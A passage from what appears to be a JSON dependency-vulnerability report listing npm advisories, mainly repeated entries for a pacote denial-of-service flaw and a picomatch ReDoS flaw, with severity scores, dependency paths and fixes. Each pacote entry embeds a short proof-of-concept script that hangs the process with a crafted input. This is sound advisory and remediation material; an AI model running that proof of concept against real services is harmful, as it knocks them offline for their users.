(DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to 